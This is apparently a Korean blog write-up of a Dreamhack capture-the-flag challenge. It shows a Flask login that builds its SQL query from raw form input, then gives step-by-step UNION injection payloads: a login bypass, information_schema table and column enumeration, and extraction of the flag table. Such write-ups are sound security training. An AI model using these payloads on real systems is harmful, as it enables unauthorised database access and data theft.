baby-union

2026. 2. 8. 21:56·Dreamhack 워게임/Lv.1
반응형

문제 설명

로그인 시 계정의 정보가 출력되는 웹 서비스입니다.
SQL INJECTION 취약점을 통해 플래그를 획득하세요. 문제에서 주어진 init.sql 파일의 테이블명과 컬럼명은 실제 이름과 다릅니다.

플래그 형식은 DH{...} 입니다.


코드 분석

app.py

@app.route("/", methods = ["GET", "POST"])
def index():

    if request.method == "POST":
        uid = request.form.get('uid', '')
        upw = request.form.get('upw', '')
        if uid and upw:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
            data = cur.fetchall()
            if data:
                return render_template("user.html", data=data)

            else: return render_template("index.html", data="Wrong!")

        return render_template("index.html", data="Fill the input box", pre=1)
    return render_template("index.html")
  • uid와 upw 입력받음
  • 입력받은 uid와 upw가 입력 그대로 쿼리문이 실행됨

init.sql

USE `secret_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null,
  descr varchar(128) not null
);

INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;

CREATE TABLE fake_table_name (
  idx int auto_increment primary key,
  fake_col1 varchar(128) not null,
  fake_col2 varchar(128) not null,
  fake_col3 varchar(128) not null,
  fake_col4 varchar(128) not null
);

INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
  • user 테이블엔 idx, uid, upw, descr 있음
  • 값은 각각 admin, apple, for admin / guest, melon, For guest / banana, test, For banana 임
  • fake_table_name 테이블도 만들고 idx, fake_col1 ~ fake_col4 까지 있음
  • 각각 값을 합치면 플래그가 되는 듯함

취약점 분석

  • 입력한 uid와 upw가 쿼리문 그대로 실행됨 
  • SQL Injection 가능성 높음

익스플로잇

먼저 SQL Injection이 가능한지 확인하기 위해

admin'#

을 먼저 입력해준다.

제대로 admin으로 로그인이 된 것을 확인할 수 있었다.

 

먼저 테이블 이름을 알아보기 위해

upw 입력칸에

1' UNION SELECT null, table_name, null, null FROM information_schema.tables #

를 입력해준다. 

 

따라서, 결과 화면을 보면

맨 아래에 onlyflag 라는 테이블을 확인할 수 있다.

 

그다음 페이로드로

1' UNION SELECT null, column_name, null, null FROM information_schema.columns WHERE table_name='onlyflag'#

의심되는 컬럼들이 몇 개 있다. sname, svalue, sflag, sclose

 

그다음

1' UNION SELECT sname, svalue, sflag, sclose FROM onlyflag #

플래그 획득


알아야 하는 것

UNION 연산자

: 합칠 때 SELECT 절이 반환하는 컬럼 개수와 데이터 타입이 같아야 함

따라서 다음과 같은 페이로드로 개수를 파악해야 함

UNION SELECT 1 #
UNION SELECT 1,2 #
UNION SELECT 1,2,3#
UNION SELECT 1,2,3,4#
...

 

MySQL에서는 information_schema.tables로 스키마의 정보를 조회할 수 있다.

또한 information_schema.columns로 컬럼 정보를 조회할 수 있다.

 

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

BypassIF  (0) 2026.02.09
Type c-j  (0) 2026.02.08
amocafe  (0) 2026.02.08
command-injection-chatgpt  (0) 2026.02.08
Apache htaccess  (0) 2026.02.08
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • BypassIF
  • Type c-j
  • amocafe
  • command-injection-chatgpt
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    alpacahack
    JS
    hacking
    CSRF
    DreamHack
    cve
    드림핵
    JavaScript
    web
    xss
    LLM
    webstudy
    webhacking
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
baby-union
상단으로

티스토리툴바